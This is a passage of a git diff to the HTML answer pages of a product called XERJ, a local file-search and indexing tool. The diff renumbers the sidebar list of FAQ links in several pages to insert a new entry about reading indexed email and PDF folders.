bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/does-xerj-support-s3-alerting-plugins.html b/landing/answers/does-xerj-support-s3-alerting-plugins.htmlindex 4aaa00f1a..276e16f8f 100644--- a/landing/answers/does-xerj-support-s3-alerting-plugins.html+++ b/landing/answers/does-xerj-support-s3-alerting-plugins.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/estimate-autoindex-time-before-running.html b/landing/answers/estimate-autoindex-time-before-running.htmlindex 499ce63ef..08b7507b7 100644--- a/landing/answers/estimate-autoindex-time-before-running.html+++ b/landing/answers/estimate-autoindex-time-before-running.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class="active"><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class="active"><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/evidence-for-agent-memory-links.html b/landing/answers/evidence-for-agent-memory-links.htmlindex 782f5c1e2..61e30796c 100644--- a/landing/answers/evidence-for-agent-memory-links.html+++ b/landing/answers/evidence-for-agent-memory-links.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span 